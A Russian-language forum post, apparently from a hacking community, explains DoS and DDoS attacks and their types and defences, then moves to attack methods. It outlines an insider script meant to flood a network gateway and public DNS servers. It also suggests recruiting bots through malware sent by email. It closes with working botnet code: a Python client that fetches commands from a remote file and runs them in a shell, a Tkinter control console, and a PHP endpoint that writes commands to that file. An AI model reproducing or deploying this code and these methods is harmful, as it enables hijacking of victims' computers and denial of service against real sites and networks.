Начинающим Что такое DoS и DDoS и как его произвести

pithunt

Участник
8
2
26 Окт 2025
В этой статье хотел рассказать о DoS и DDoS, рассказать про их отличия, как они работают, а также как произвести простую атаку на веб-ресурс.

Что такое DoS и DDoS?​

  • DoS (Denial of Service) — атака, направленная на отказ в обслуживании целевого ресурса (сайта, сервера, сети). Цель — сделать ресурс недоступным для легитимных пользователей.
  • DDoS (Distributed Denial of Service) — разновидность DoS-атаки, при которой используется множество заражённых устройств (ботнет), чтобы увеличить мощность атаки и усложнить её обнаружение и блокировку.
EoaP5e3uXMgUBJQtRUxAIguLPDOQrgPqeDyM5fl0GPKPnzQw4w.png

Как работают эти атаки?​

DoS:
  • Злоумышленник посылает огромное количество запросов или данных на сервер.
  • Это перегружает ресурсы сервера, вызывая его сбои или задержки.
  • В результате легитимные пользователи не могут получить доступ к сервису.

DDoS:
  • Используются тысячи или миллионы заражённых устройств (ботов).
  • Они одновременно посылают запросы или трафик на цель.
  • Объединённая мощность делает атаку намного более масштабной и сложной для защиты.

Виды DoS и DDoS атак​

  1. Объемные атаки (Volume-based):
    • Цель — исчерпать пропускную способность сети.
    • Например: UDP-флуд, ICMP-флуд, атаки типа Amplification (усиление).
  2. Атаки на протоколы (Protocol attacks):
    • Задействуют уязвимости в протоколах или серверах.
    • Например: SYN-флуд, Ping of Death, Smurf-атаки.
  3. Атаки на уровне приложений (Application layer):
    • Нацелены на конкретные приложения или функции сайта.
    • Например: HTTP-флуд, атаки на формы входа, медленные POST-запросы.

Почему DDoS сложнее защищать?​

  • Использование множества устройств затрудняет отслеживание источников.
  • Атаки могут быть очень мощными, достигая терабайтных объемов трафика.
  • Зачастую используют легальные сервисы (например, облачные ресурсы) для усиления атаки.

Методы защиты от DoS и DDoS​

  • Фильтрация трафика: использование брандмауэров, IPS/IDS систем.
  • Анализ трафика: обнаружение аномалий.
  • Масштабируемые решения: облачные сервисы, CDN.
  • Rate limiting: ограничение количества запросов с одного IP.
  • Использование специальных сервисов защиты: Cloudflare, Akamai, Arbor и др.

Последствия атак​

  • Недоступность сайта или сервиса.
  • Финансовые потери.
  • Потеря репутации.
  • Возможные юридические последствия при ущербе клиентам.


Как можно совершить атаку?
  • DoS атаки:
    • Поиск уязвимостей в протоколах: можно найти места (формы к примеру), которые не имеют достаточную защиту, что позволит разом, отправлять большое количество данных, блаягодаря многопоточности, что приведет к перегрузу головного сервера.
    • Амплифация: отправка небольшого количества данных на энд-поинты, которые отвечают большим количеством данных, что также приводит к долгой прогрузке сайта. (Метом используется мной по сей день)
    • Заполнение очереди: например, на сайте можно выполнять какое либо действие только после того, как это действие произведется другими пользователями поочерёдно. Пользуясь этим, мы сможем заполнить очередь, имитрую реальных людей, из-за чего реальные пользователи не смогут выполнить нужное им действие.
  • DDoS атаки:
    • Распределённые DoS: Рассылка писем с вредоносным файлом, который при заражении ПК даёт полный контроль над ним. Это позволит единовременно начать атаку, выполняя действия как для обычной DoS атаки. DDoS будет намного эффективнее и более сложным к защите, так как атака будет идти с многих стран мира, в большом количестве, также возможна поочередность атаки.

(Бонус) Как совершаются атаки изнутри?

Можно загрузить на сервер вредоносный файл, например с помощью MIME-атаки. В сам файл нужно загрузить специальный скрипт, который будет проводить DoS атаку на локальный хост. Схема скрипта:
  1. Получение информации о шлюзе (роутере):
    • На Windows использует команду ipconfig, чтобы определить IP-адрес шлюза.
    • На других системах использует команду ip route для получения IP-адреса шлюза.
  2. Многопоточная атака на шлюз:
    • Создаёт множество потоков (300), каждый из которых устанавливает TCP-соединение с шлюзом по порту 80.
    • Посылает случайные данные (4096 байт) через это соединение в цикле, что может перегрузить шлюз.
  3. Атака на DNS-серверы:
    • Создаёт ещё 300 потоков, каждый из которых посылает случайные UDP-пакеты на стандартные DNS-серверы (8.8.8.8, 1.1.1.1, 8.8.4.4) по порту 53.
    • Это может вызвать перегрузку DNS-серверов или их отказ в обслуживании.
  4. После запуска все потоки работают бесконечно, что приводит к сильной нагрузке на сеть, делая интернет недоступным для большинства устройств в сети.
Данная атака является очень хорошим, но сложным примером, так как большое количество сайтов имеют хорошую защиту от MIME-атак, но при этом очень редко защищены от внутренних запросов + есть шанс, что неисправность придется исправлять очень долго, так как придется полностью перезагружать сервер, из-за чего некоторая часть посетителей не сможет попасть на сайт, а также уйдёт время на поиск самого вредоносного файла.


Практика: Создние ботнета
Вредносный файл (main.py):

Код:
import time
import requests
import subprocess

url = "https://example.com/task.txt"
prev_content = None

while True:
    try:
        response = requests.get(url)
        response.raise_for_status()
        current_content = response.text

        if current_content != prev_content:
            prev_content = current_content
        else:
            # Выполняем содержимое файла как команду в командной строке
            subprocess.run(current_content, shell=True)
    except Exception as e:
        print(f"Ошибка: {e}")

    time.sleep(10)

Ваш GUI (console.py):
Код:
import tkinter as tk
import requests

# URL файла на сервере
SERVER_URL = "https://example.com/task_changer.php"

def send_command(command):
    # Отправляем команду на сервер, заменяя содержимое файла
    # Предполагается, что сервер поддерживает PUT или POST для этого
    try:
        # Используем POST-запрос для замены содержимого файла
        data = {
            'data': command.encode('utf-8')
        }
        response = requests.post(SERVER_URL, data=data)
        response.raise_for_status()
        return True
    except Exception as e:
        print(f"Ошибка при отправке команды: {e}")
        return False

def on_enter(event=None):
    command = entry.get()
    if command.strip():
        # Записываем команду в список
        commands_list.insert(tk.END, command)
        # Отправляем команду на сервер
        success = send_command(command)
        if not success:
            # Можно обработать ошибку (например, вывести сообщение)
            pass
        # Очищаем строку ввода
        entry.delete(0, tk.END)

# Создаем окно
root = tk.Tk()
root.title("Консоль команд")

# Ввод команды
entry = tk.Entry(root, width=50)
entry.pack(padx=10, pady=5)
entry.bind('<Return>', on_enter)

# Список команд
commands_list = tk.Listbox(root, width=50, height=15)
commands_list.pack(padx=10, pady=5)

# Запуск приложения
root.mainloop()

task_changer.php (файл изменения задачи на вашем сервере):
Код:
<?php
// task_changer.php

// Устанавливаем заголовки для CORS, если нужно
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json");

// Указываем путь к файлу, который будет заменяться
$file_path = 'task.txt';

// Проверяем, что запрос пришел методом POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Проверяем, есть ли параметр 'data'
    if (isset($_POST['data'])) {
        // Получаем данные
        $data = $_POST['data'];
        $result = file_put_contents($file_path, $data);

    } else {

    }
} else {
    
}
?>
 
Автор/Источник
pithunt

Похожие темы